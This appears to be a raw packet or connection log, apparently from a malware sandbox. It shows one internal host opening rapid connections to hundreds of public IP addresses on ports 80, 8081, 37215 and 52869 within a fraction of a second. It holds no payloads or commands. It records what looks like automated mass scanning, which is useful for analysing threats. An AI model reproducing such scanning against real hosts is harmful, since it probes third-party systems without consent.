Jul 20, 2024 23:01:00.182550907 CEST	52424	80	192.168.2.23	88.181.220.254
Jul 20, 2024 23:01:00.182554007 CEST	42978	37215	192.168.2.23	206.176.8.137
Jul 20, 2024 23:01:00.188499928 CEST	51216	8081	192.168.2.23	78.123.14.26
Jul 20, 2024 23:01:00.189789057 CEST	52074	80	192.168.2.23	88.37.250.255
Jul 20, 2024 23:01:00.191001892 CEST	42194	52869	192.168.2.23	167.134.108.32
Jul 20, 2024 23:01:00.191405058 CEST	32936	37215	192.168.2.23	137.33.55.254
Jul 20, 2024 23:01:00.193706989 CEST	8081	51216	78.123.14.26	192.168.2.23
Jul 20, 2024 23:01:00.193744898 CEST	51216	8081	192.168.2.23	78.123.14.26
Jul 20, 2024 23:01:00.195318937 CEST	80	52074	88.37.250.255	192.168.2.23
Jul 20, 2024 23:01:00.195519924 CEST	52074	80	192.168.2.23	88.37.250.255
Jul 20, 2024 23:01:00.195965052 CEST	52869	42194	167.134.108.32	192.168.2.23
Jul 20, 2024 23:01:00.196096897 CEST	42194	52869	192.168.2.23	167.134.108.32
Jul 20, 2024 23:01:00.196535110 CEST	42628	8081	192.168.2.23	223.116.228.50
Jul 20, 2024 23:01:00.196691036 CEST	37215	32936	137.33.55.254	192.168.2.23
Jul 20, 2024 23:01:00.196746111 CEST	32936	37215	192.168.2.23	137.33.55.254
Jul 20, 2024 23:01:00.197525024 CEST	42956	37215	192.168.2.23	41.12.12.126
Jul 20, 2024 23:01:00.197659016 CEST	41570	80	192.168.2.23	88.180.147.83
Jul 20, 2024 23:01:00.202718019 CEST	8081	42628	223.116.228.50	192.168.2.23
Jul 20, 2024 23:01:00.202753067 CEST	42628	8081	192.168.2.23	223.116.228.50
Jul 20, 2024 23:01:00.202846050 CEST	37215	42956	41.12.12.126	192.168.2.23
Jul 20, 2024 23:01:00.202889919 CEST	42956	37215	192.168.2.23	41.12.12.126
Jul 20, 2024 23:01:00.203083038 CEST	80	41570	88.180.147.83	192.168.2.23
Jul 20, 2024 23:01:00.203120947 CEST	41570	80	192.168.2.23	88.180.147.83
Jul 20, 2024 23:01:00.203648090 CEST	46810	8081	192.168.2.23	141.91.113.240
Jul 20, 2024 23:01:00.205749035 CEST	60594	52869	192.168.2.23	123.31.253.14
Jul 20, 2024 23:01:00.205944061 CEST	55228	37215	192.168.2.23	1.136.199.61
Jul 20, 2024 23:01:00.206429005 CEST	43020	80	192.168.2.23	88.127.124.189
Jul 20, 2024 23:01:00.207237959 CEST	8081	38768	121.107.250.116	192.168.2.23
Jul 20, 2024 23:01:00.207289934 CEST	38768	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:01:00.208648920 CEST	8081	46810	141.91.113.240	192.168.2.23
Jul 20, 2024 23:01:00.208900928 CEST	46810	8081	192.168.2.23	141.91.113.240
Jul 20, 2024 23:01:00.210997105 CEST	50258	8081	192.168.2.23	195.239.80.65
Jul 20, 2024 23:01:00.211229086 CEST	52869	60594	123.31.253.14	192.168.2.23
Jul 20, 2024 23:01:00.211393118 CEST	37215	55228	1.136.199.61	192.168.2.23
Jul 20, 2024 23:01:00.211405993 CEST	80	43020	88.127.124.189	192.168.2.23
Jul 20, 2024 23:01:00.211436987 CEST	55228	37215	192.168.2.23	1.136.199.61
Jul 20, 2024 23:01:00.211440086 CEST	43020	80	192.168.2.23	88.127.124.189
Jul 20, 2024 23:01:00.211591959 CEST	60594	52869	192.168.2.23	123.31.253.14
Jul 20, 2024 23:01:00.211694002 CEST	41368	37215	192.168.2.23	157.229.17.57
Jul 20, 2024 23:01:00.216064930 CEST	57266	8081	192.168.2.23	180.57.92.58
Jul 20, 2024 23:01:00.216984987 CEST	8081	50258	195.239.80.65	192.168.2.23
Jul 20, 2024 23:01:00.217153072 CEST	50258	8081	192.168.2.23	195.239.80.65
Jul 20, 2024 23:01:00.217264891 CEST	37215	41368	157.229.17.57	192.168.2.23
Jul 20, 2024 23:01:00.217310905 CEST	41368	37215	192.168.2.23	157.229.17.57
Jul 20, 2024 23:01:00.217891932 CEST	52276	52869	192.168.2.23	91.233.41.28
Jul 20, 2024 23:01:00.218143940 CEST	52904	37215	192.168.2.23	41.190.181.48
Jul 20, 2024 23:01:00.221112013 CEST	8081	57266	180.57.92.58	192.168.2.23
Jul 20, 2024 23:01:00.221151114 CEST	57266	8081	192.168.2.23	180.57.92.58
Jul 20, 2024 23:01:00.221982956 CEST	50072	8081	192.168.2.23	125.175.39.241
Jul 20, 2024 23:01:00.223229885 CEST	52869	52276	91.233.41.28	192.168.2.23
Jul 20, 2024 23:01:00.223315954 CEST	37215	52904	41.190.181.48	192.168.2.23
Jul 20, 2024 23:01:00.223402977 CEST	52276	52869	192.168.2.23	91.233.41.28
Jul 20, 2024 23:01:00.223422050 CEST	52904	37215	192.168.2.23	41.190.181.48
Jul 20, 2024 23:01:00.224510908 CEST	35438	37215	192.168.2.23	197.233.33.61
Jul 20, 2024 23:01:00.227169037 CEST	8081	50072	125.175.39.241	192.168.2.23
Jul 20, 2024 23:01:00.227207899 CEST	50072	8081	192.168.2.23	125.175.39.241
Jul 20, 2024 23:01:00.227663994 CEST	46538	8081	192.168.2.23	161.33.41.177
Jul 20, 2024 23:01:00.228770971 CEST	42836	443	192.168.2.23	91.189.91.43
Jul 20, 2024 23:01:00.229407072 CEST	47382	52869	192.168.2.23	87.137.214.123
Jul 20, 2024 23:01:00.229897022 CEST	37215	35438	197.233.33.61	192.168.2.23
Jul 20, 2024 23:01:00.229959965 CEST	35438	37215	192.168.2.23	197.233.33.61
Jul 20, 2024 23:01:00.230338097 CEST	52869	35860	77.77.58.220	192.168.2.23
Jul 20, 2024 23:01:00.231286049 CEST	44792	37215	192.168.2.23	139.13.89.177
Jul 20, 2024 23:01:00.231991053 CEST	39700	80	192.168.2.23	88.21.172.30
Jul 20, 2024 23:01:00.232748985 CEST	35860	52869	192.168.2.23	77.77.58.220
Jul 20, 2024 23:01:00.233148098 CEST	8081	46538	161.33.41.177	192.168.2.23
Jul 20, 2024 23:01:00.233196020 CEST	46538	8081	192.168.2.23	161.33.41.177
Jul 20, 2024 23:01:00.234323025 CEST	42464	8081	192.168.2.23	45.59.46.212
Jul 20, 2024 23:01:00.234848976 CEST	52869	47382	87.137.214.123	192.168.2.23
Jul 20, 2024 23:01:00.234894037 CEST	47382	52869	192.168.2.23	87.137.214.123
Jul 20, 2024 23:01:00.235860109 CEST	46222	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:01:00.235860109 CEST	33978	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:01:00.235883951 CEST	34896	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:01:00.235883951 CEST	52062	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:01:00.235893965 CEST	43874	80	192.168.2.23	95.65.53.181
Jul 20, 2024 23:01:00.235949993 CEST	58992	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:01:00.235949993 CEST	50286	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:01:00.235953093 CEST	42222	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:01:00.235953093 CEST	33616	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:01:00.236008883 CEST	37124	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:01:00.236064911 CEST	47006	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:01:00.236095905 CEST	35588	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:01:00.236126900 CEST	35476	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:01:00.236126900 CEST	40006	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:01:00.236217022 CEST	54470	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:01:00.236217022 CEST	38384	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:01:00.236217022 CEST	39126	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:01:00.236217022 CEST	60552	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:01:00.236449003 CEST	48426	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:01:00.236449003 CEST	49234	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:01:00.236449957 CEST	48454	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:01:00.236663103 CEST	52874	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:01:00.236663103 CEST	43174	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:01:00.236663103 CEST	35380	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:01:00.236663103 CEST	52766	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:01:00.236663103 CEST	57936	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:01:00.236663103 CEST	48668	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:01:00.236663103 CEST	39134	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:01:00.236663103 CEST	50174	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:01:00.236701012 CEST	37215	44792	139.13.89.177	192.168.2.23
Jul 20, 2024 23:01:00.236743927 CEST	46100	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:01:00.236743927 CEST	60984	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:01:00.236743927 CEST	60890	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:01:00.236743927 CEST	42844	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:01:00.236743927 CEST	32916	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:01:00.236743927 CEST	50300	80	192.168.2.23	95.65.56.41
Jul 20, 2024 23:01:00.236743927 CEST	46310	80	192.168.2.23	95.252.122.113
Jul 20, 2024 23:01:00.236885071 CEST	43590	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:01:00.236885071 CEST	53262	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:01:00.236885071 CEST	47450	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:01:00.236885071 CEST	39940	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:01:00.236885071 CEST	47680	80	192.168.2.23	95.141.82.86
Jul 20, 2024 23:01:00.236885071 CEST	36120	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:01:00.236885071 CEST	48712	80	192.168.2.23	95.251.168.6
Jul 20, 2024 23:01:00.236885071 CEST	57672	80	192.168.2.23	95.150.120.62
Jul 20, 2024 23:01:00.237060070 CEST	80	39700	88.21.172.30	192.168.2.23
Jul 20, 2024 23:01:00.237705946 CEST	33886	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:01:00.237706900 CEST	53348	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:01:00.237706900 CEST	56968	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:01:00.237706900 CEST	47692	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:01:00.237706900 CEST	33452	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:01:00.237706900 CEST	44498	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:01:00.237706900 CEST	44832	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:01:00.237706900 CEST	42814	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:01:00.238099098 CEST	56804	80	192.168.2.23	95.60.51.67
Jul 20, 2024 23:01:00.238099098 CEST	45812	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:01:00.238100052 CEST	54528	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:01:00.238100052 CEST	37454	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:01:00.238100052 CEST	57270	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:01:00.238100052 CEST	57200	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:01:00.238100052 CEST	60502	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:01:00.238100052 CEST	50680	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:01:00.238261938 CEST	43288	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:01:00.238262892 CEST	40134	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:01:00.239103079 CEST	40992	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:01:00.239103079 CEST	34648	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:01:00.239103079 CEST	53430	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:01:00.239103079 CEST	39974	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:01:00.239103079 CEST	35900	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:01:00.239103079 CEST	43354	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:01:00.239103079 CEST	40608	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:01:00.239103079 CEST	36382	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:01:00.239625931 CEST	55018	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:01:00.239625931 CEST	60292	80	192.168.2.23	95.219.125.105
Jul 20, 2024 23:01:00.239625931 CEST	37956	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:01:00.239625931 CEST	37956	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:01:00.240288973 CEST	8081	42464	45.59.46.212	192.168.2.23
Jul 20, 2024 23:01:00.241637945 CEST	36972	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:01:00.241637945 CEST	46290	80	192.168.2.23	95.80.234.181
Jul 20, 2024 23:01:00.241637945 CEST	48788	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:01:00.241637945 CEST	55810	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:01:00.241638899 CEST	41364	80	192.168.2.23	95.94.173.132
Jul 20, 2024 23:01:00.241638899 CEST	52096	80	192.168.2.23	95.143.218.123
Jul 20, 2024 23:01:00.241638899 CEST	50202	80	192.168.2.23	95.67.33.66
Jul 20, 2024 23:01:00.241638899 CEST	32970	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:01:00.242062092 CEST	80	46222	95.189.55.135	192.168.2.23
Jul 20, 2024 23:01:00.242115974 CEST	80	58992	95.36.82.73	192.168.2.23
Jul 20, 2024 23:01:00.242145061 CEST	80	33978	95.214.141.146	192.168.2.23
Jul 20, 2024 23:01:00.242175102 CEST	80	47006	95.217.183.227	192.168.2.23
Jul 20, 2024 23:01:00.243287086 CEST	42464	8081	192.168.2.23	45.59.46.212
Jul 20, 2024 23:01:00.243287086 CEST	47006	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:01:00.243400097 CEST	52406	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:01:00.243400097 CEST	43652	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:01:00.243400097 CEST	55618	80	192.168.2.23	95.212.120.98
Jul 20, 2024 23:01:00.243400097 CEST	46604	80	192.168.2.23	95.158.140.140
Jul 20, 2024 23:01:00.243400097 CEST	47850	80	192.168.2.23	95.249.221.188
Jul 20, 2024 23:01:00.243400097 CEST	41122	80	192.168.2.23	95.253.245.225
Jul 20, 2024 23:01:00.243401051 CEST	49944	80	192.168.2.23	95.65.26.117
Jul 20, 2024 23:01:00.243401051 CEST	56244	80	192.168.2.23	95.249.27.14
Jul 20, 2024 23:01:00.244168043 CEST	80	35476	95.247.205.18	192.168.2.23
Jul 20, 2024 23:01:00.245107889 CEST	80	35588	95.34.132.196	192.168.2.23
Jul 20, 2024 23:01:00.245158911 CEST	80	54470	95.212.185.109	192.168.2.23
Jul 20, 2024 23:01:00.245191097 CEST	80	50286	95.199.108.166	192.168.2.23
Jul 20, 2024 23:01:00.245239019 CEST	80	37124	95.77.163.115	192.168.2.23
Jul 20, 2024 23:01:00.245269060 CEST	80	52874	95.75.206.109	192.168.2.23
Jul 20, 2024 23:01:00.245295048 CEST	35588	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:01:00.245301962 CEST	80	40006	95.119.119.53	192.168.2.23
Jul 20, 2024 23:01:00.245332956 CEST	80	48426	95.78.253.213	192.168.2.23
Jul 20, 2024 23:01:00.245362043 CEST	80	42222	95.59.86.189	192.168.2.23
Jul 20, 2024 23:01:00.245364904 CEST	54470	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:01:00.245389938 CEST	80	43174	95.20.245.92	192.168.2.23
Jul 20, 2024 23:01:00.245419025 CEST	80	49234	95.108.145.90	192.168.2.23
Jul 20, 2024 23:01:00.245446920 CEST	80	34896	95.185.71.137	192.168.2.23
Jul 20, 2024 23:01:00.245476007 CEST	80	33616	95.2.212.137	192.168.2.23
Jul 20, 2024 23:01:00.245502949 CEST	80	46100	95.223.155.253	192.168.2.23
Jul 20, 2024 23:01:00.245533943 CEST	80	38384	95.248.74.27	192.168.2.23
Jul 20, 2024 23:01:00.245563030 CEST	80	52062	95.196.201.154	192.168.2.23
Jul 20, 2024 23:01:00.245592117 CEST	80	53262	95.129.39.24	192.168.2.23
Jul 20, 2024 23:01:00.245620966 CEST	80	35380	95.111.9.141	192.168.2.23
Jul 20, 2024 23:01:00.245621920 CEST	49988	80	192.168.2.23	95.185.211.152
Jul 20, 2024 23:01:00.245621920 CEST	56958	80	192.168.2.23	95.67.166.173
Jul 20, 2024 23:01:00.245621920 CEST	46222	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:01:00.245621920 CEST	33978	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:01:00.245621920 CEST	35476	80	192.168.2.23	95.247.205.18
Jul 20, 2024 23:01:00.245621920 CEST	40006	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:01:00.245649099 CEST	80	43288	95.144.250.151	192.168.2.23
Jul 20, 2024 23:01:00.245677948 CEST	80	43590	95.74.78.222	192.168.2.23
Jul 20, 2024 23:01:00.245707035 CEST	80	33886	95.63.144.57	192.168.2.23
Jul 20, 2024 23:01:00.245734930 CEST	80	48454	95.19.197.138	192.168.2.23
Jul 20, 2024 23:01:00.245764971 CEST	80	43874	95.65.53.181	192.168.2.23
Jul 20, 2024 23:01:00.245939970 CEST	48426	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:01:00.245939970 CEST	49234	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:01:00.246368885 CEST	44792	37215	192.168.2.23	139.13.89.177
Jul 20, 2024 23:01:00.246368885 CEST	42222	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:01:00.246368885 CEST	33616	80	192.168.2.23	95.2.212.137
Jul 20, 2024 23:01:00.247715950 CEST	80	37956	95.158.172.2	192.168.2.23
Jul 20, 2024 23:01:00.248300076 CEST	51836	80	192.168.2.23	95.170.175.133
Jul 20, 2024 23:01:00.248300076 CEST	53148	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:01:00.248300076 CEST	45776	80	192.168.2.23	95.37.17.184
Jul 20, 2024 23:01:00.248300076 CEST	43438	80	192.168.2.23	95.53.118.65
Jul 20, 2024 23:01:00.248301029 CEST	34896	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:01:00.248656034 CEST	38384	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:01:00.248756886 CEST	80	50174	95.224.122.49	192.168.2.23
Jul 20, 2024 23:01:00.248804092 CEST	80	48788	95.248.79.76	192.168.2.23
Jul 20, 2024 23:01:00.248836994 CEST	80	35900	95.107.6.30	192.168.2.23
Jul 20, 2024 23:01:00.248887062 CEST	80	36120	95.105.125.225	192.168.2.23
Jul 20, 2024 23:01:00.248938084 CEST	80	60984	95.27.136.95	192.168.2.23
Jul 20, 2024 23:01:00.248967886 CEST	80	46290	95.80.234.181	192.168.2.23
Jul 20, 2024 23:01:00.248996973 CEST	80	47680	95.141.82.86	192.168.2.23
Jul 20, 2024 23:01:00.249027014 CEST	80	60292	95.219.125.105	192.168.2.23
Jul 20, 2024 23:01:00.249054909 CEST	80	36972	95.87.179.26	192.168.2.23
Jul 20, 2024 23:01:00.249083042 CEST	80	39940	95.185.52.107	192.168.2.23
Jul 20, 2024 23:01:00.249113083 CEST	80	39134	95.50.34.145	192.168.2.23
Jul 20, 2024 23:01:00.249140024 CEST	80	42814	95.64.102.24	192.168.2.23
Jul 20, 2024 23:01:00.249167919 CEST	80	39974	95.90.8.227	192.168.2.23
Jul 20, 2024 23:01:00.249196053 CEST	80	44832	95.128.166.108	192.168.2.23
Jul 20, 2024 23:01:00.249222994 CEST	80	48668	95.81.115.211	192.168.2.23
Jul 20, 2024 23:01:00.249252081 CEST	80	47450	95.195.0.56	192.168.2.23
Jul 20, 2024 23:01:00.249279022 CEST	80	53430	95.29.14.111	192.168.2.23
Jul 20, 2024 23:01:00.249310017 CEST	80	44498	95.204.198.68	192.168.2.23
Jul 20, 2024 23:01:00.249339104 CEST	80	55018	95.234.195.112	192.168.2.23
Jul 20, 2024 23:01:00.249366999 CEST	80	33452	95.43.93.252	192.168.2.23
Jul 20, 2024 23:01:00.249394894 CEST	80	34648	95.87.70.25	192.168.2.23
Jul 20, 2024 23:01:00.249412060 CEST	47902	80	192.168.2.23	95.38.106.58
Jul 20, 2024 23:01:00.249412060 CEST	52706	80	192.168.2.23	95.180.177.183
Jul 20, 2024 23:01:00.249413013 CEST	37124	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:01:00.249413013 CEST	46100	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:01:00.249423981 CEST	80	47692	95.159.154.72	192.168.2.23
Jul 20, 2024 23:01:00.249454021 CEST	80	57936	95.141.246.34	192.168.2.23
Jul 20, 2024 23:01:00.249506950 CEST	80	40992	95.191.65.210	192.168.2.23
Jul 20, 2024 23:01:00.249542952 CEST	80	56968	95.19.94.171	192.168.2.23
Jul 20, 2024 23:01:00.249572039 CEST	80	60552	95.157.203.128	192.168.2.23
Jul 20, 2024 23:01:00.249599934 CEST	80	52766	95.69.1.49	192.168.2.23
Jul 20, 2024 23:01:00.249629021 CEST	80	39126	95.16.233.29	192.168.2.23
Jul 20, 2024 23:01:00.249658108 CEST	80	53348	95.132.68.188	192.168.2.23
Jul 20, 2024 23:01:00.249686003 CEST	80	40134	95.197.154.83	192.168.2.23
Jul 20, 2024 23:01:00.250045061 CEST	80	43874	95.65.53.181	192.168.2.23
Jul 20, 2024 23:01:00.250159979 CEST	80	48454	95.19.197.138	192.168.2.23
Jul 20, 2024 23:01:00.250189066 CEST	80	33886	95.63.144.57	192.168.2.23
Jul 20, 2024 23:01:00.250237942 CEST	33886	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:01:00.250288963 CEST	80	43590	95.74.78.222	192.168.2.23
Jul 20, 2024 23:01:00.250319958 CEST	80	43288	95.144.250.151	192.168.2.23
Jul 20, 2024 23:01:00.250334024 CEST	48454	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:01:00.250348091 CEST	80	35380	95.111.9.141	192.168.2.23
Jul 20, 2024 23:01:00.250375986 CEST	80	53262	95.129.39.24	192.168.2.23
Jul 20, 2024 23:01:00.250416040 CEST	80	52062	95.196.201.154	192.168.2.23
Jul 20, 2024 23:01:00.250442982 CEST	80	40134	95.197.154.83	192.168.2.23
Jul 20, 2024 23:01:00.250469923 CEST	80	53348	95.132.68.188	192.168.2.23
Jul 20, 2024 23:01:00.250499964 CEST	80	39126	95.16.233.29	192.168.2.23
Jul 20, 2024 23:01:00.250529051 CEST	80	52766	95.69.1.49	192.168.2.23
Jul 20, 2024 23:01:00.250579119 CEST	80	60552	95.157.203.128	192.168.2.23
Jul 20, 2024 23:01:00.250607014 CEST	80	56968	95.19.94.171	192.168.2.23
Jul 20, 2024 23:01:00.250633955 CEST	80	40992	95.191.65.210	192.168.2.23
Jul 20, 2024 23:01:00.250647068 CEST	39126	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:01:00.250647068 CEST	60552	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:01:00.250663042 CEST	80	57936	95.141.246.34	192.168.2.23
Jul 20, 2024 23:01:00.250690937 CEST	80	47692	95.159.154.72	192.168.2.23
Jul 20, 2024 23:01:00.250718117 CEST	80	34648	95.87.70.25	192.168.2.23
Jul 20, 2024 23:01:00.250745058 CEST	80	33452	95.43.93.252	192.168.2.23
Jul 20, 2024 23:01:00.250797987 CEST	43288	80	192.168.2.23	95.144.250.151
Jul 20, 2024 23:01:00.250797987 CEST	40134	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:01:00.250849962 CEST	80	55018	95.234.195.112	192.168.2.23
Jul 20, 2024 23:01:00.250878096 CEST	80	44498	95.204.198.68	192.168.2.23
Jul 20, 2024 23:01:00.250906944 CEST	80	53430	95.29.14.111	192.168.2.23
Jul 20, 2024 23:01:00.250933886 CEST	80	47450	95.195.0.56	192.168.2.23
Jul 20, 2024 23:01:00.250962973 CEST	80	48668	95.81.115.211	192.168.2.23
Jul 20, 2024 23:01:00.250992060 CEST	80	44832	95.128.166.108	192.168.2.23
Jul 20, 2024 23:01:00.251209021 CEST	80	39974	95.90.8.227	192.168.2.23
Jul 20, 2024 23:01:00.251239061 CEST	80	42814	95.64.102.24	192.168.2.23
Jul 20, 2024 23:01:00.251266003 CEST	80	39134	95.50.34.145	192.168.2.23
Jul 20, 2024 23:01:00.251293898 CEST	80	39940	95.185.52.107	192.168.2.23
Jul 20, 2024 23:01:00.251322031 CEST	80	36972	95.87.179.26	192.168.2.23
Jul 20, 2024 23:01:00.251333952 CEST	53212	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:01:00.251333952 CEST	50226	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:01:00.251333952 CEST	39700	80	192.168.2.23	88.21.172.30
Jul 20, 2024 23:01:00.251333952 CEST	58992	80	192.168.2.23	95.36.82.73
Jul 20, 2024 23:01:00.251333952 CEST	50286	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:01:00.251333952 CEST	52874	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:01:00.251333952 CEST	43174	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:01:00.251877069 CEST	53348	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:01:00.251877069 CEST	56968	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:01:00.251877069 CEST	47692	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:01:00.251877069 CEST	33452	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:01:00.251877069 CEST	44498	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:01:00.251877069 CEST	44832	80	192.168.2.23	95.128.166.108
Jul 20, 2024 23:01:00.251877069 CEST	42814	80	192.168.2.23	95.64.102.24
Jul 20, 2024 23:01:00.251877069 CEST	36972	80	192.168.2.23	95.87.179.26
Jul 20, 2024 23:01:00.252157927 CEST	43590	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:01:00.252157927 CEST	53262	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:01:00.252157927 CEST	47450	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:01:00.252157927 CEST	39940	80	192.168.2.23	95.185.52.107
Jul 20, 2024 23:01:00.252968073 CEST	80	55618	95.212.120.98	192.168.2.23
Jul 20, 2024 23:01:00.252995968 CEST	80	42844	95.184.188.30	192.168.2.23
Jul 20, 2024 23:01:00.253010035 CEST	80	49988	95.185.211.152	192.168.2.23
Jul 20, 2024 23:01:00.253024101 CEST	80	43652	95.46.44.80	192.168.2.23
Jul 20, 2024 23:01:00.253037930 CEST	80	52096	95.143.218.123	192.168.2.23
Jul 20, 2024 23:01:00.253051996 CEST	80	43354	95.106.65.7	192.168.2.23
Jul 20, 2024 23:01:00.253127098 CEST	80	41364	95.94.173.132	192.168.2.23
Jul 20, 2024 23:01:00.253143072 CEST	80	56804	95.60.51.67	192.168.2.23
Jul 20, 2024 23:01:00.253155947 CEST	80	48712	95.251.168.6	192.168.2.23
Jul 20, 2024 23:01:00.253169060 CEST	80	52406	95.73.162.66	192.168.2.23
Jul 20, 2024 23:01:00.253181934 CEST	80	55810	95.55.160.81	192.168.2.23
Jul 20, 2024 23:01:00.253386974 CEST	52062	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:01:00.253386974 CEST	40992	80	192.168.2.23	95.191.65.210
Jul 20, 2024 23:01:00.253386974 CEST	34648	80	192.168.2.23	95.87.70.25
Jul 20, 2024 23:01:00.253386974 CEST	53430	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:01:00.253386974 CEST	39974	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:01:00.256654024 CEST	53258	80	192.168.2.23	95.206.60.205
Jul 20, 2024 23:01:00.256654024 CEST	40598	80	192.168.2.23	95.58.49.71
Jul 20, 2024 23:01:00.256654024 CEST	49668	80	192.168.2.23	95.244.122.54
Jul 20, 2024 23:01:00.256654024 CEST	45808	80	192.168.2.23	95.217.54.107
Jul 20, 2024 23:01:00.256654024 CEST	35296	80	192.168.2.23	95.155.161.231
Jul 20, 2024 23:01:00.256654024 CEST	54578	80	192.168.2.23	95.180.44.181
Jul 20, 2024 23:01:00.256654024 CEST	37348	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:01:00.256680012 CEST	80	56244	95.249.27.14	192.168.2.23
Jul 20, 2024 23:01:00.256711960 CEST	80	45776	95.37.17.184	192.168.2.23
Jul 20, 2024 23:01:00.256726027 CEST	80	37454	95.47.49.37	192.168.2.23
Jul 20, 2024 23:01:00.256992102 CEST	55018	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:01:00.258526087 CEST	35380	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:01:00.258526087 CEST	52766	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:01:00.258526087 CEST	57936	80	192.168.2.23	95.141.246.34
